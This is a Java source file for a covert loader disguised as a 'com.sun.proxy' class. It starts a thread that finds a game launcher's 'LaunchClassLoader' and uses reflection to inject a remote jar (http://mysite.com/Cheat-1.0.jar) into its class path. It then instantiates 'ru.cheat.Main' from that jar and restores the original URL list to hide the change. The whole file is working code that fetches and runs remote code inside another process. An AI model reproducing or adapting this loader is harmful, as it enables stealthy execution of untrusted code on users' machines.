ClassLoader

package com.sun.proxy;

import java.lang.reflect.*;
import java.net.*;
import java.util.*;

public class Proxy1337 extends Thread {
    public Proxy1337() {
        this.setName("SEXLOADER");
        this.setPriority(10);
        this.start();
    }

    @Override
    public void run() {
        try {
            for (final Thread thread : Thread.getAllStackTraces().keySet()) {
                if (thread != null && thread.getContextClassLoader() != null && thread.getContextClassLoader().getClass() != null && thread.getContextClassLoader().getClass().getName() != null && thread.getContextClassLoader().getClass().getName().contains("LaunchClassLoader")) {
                    try {
                        final Field fld = URLClassLoader.class.getDeclaredField("ucp");
                        fld.setAccessible(true);
                        final Object ucp = fld.get(thread.getContextClassLoader());
                        final Field fld2 = ucp.getClass().getDeclaredField("urls");
                        fld2.setAccessible(true);
                        final Stack<URL> urls = (Stack<URL>)fld2.get(ucp);
                        final Stack<URL> backup = new Stack<URL>();
                        for (final URL url : urls) {
                            backup.add(url);
                        }
                        urls.add(new URL("http://mysite.com/Cheat-1.0.jar"));
                        thread.getContextClassLoader().loadClass("ru.cheat.Main").newInstance();
                        fld2.set(ucp, backup);
                        break;
                    }
                    catch (Exception e) {
                        e.printStackTrace();
                    }
                }
            }
        }
        catch (Exception ex) {}
    }

    public static void main() {
        new Proxy1337();
    }
}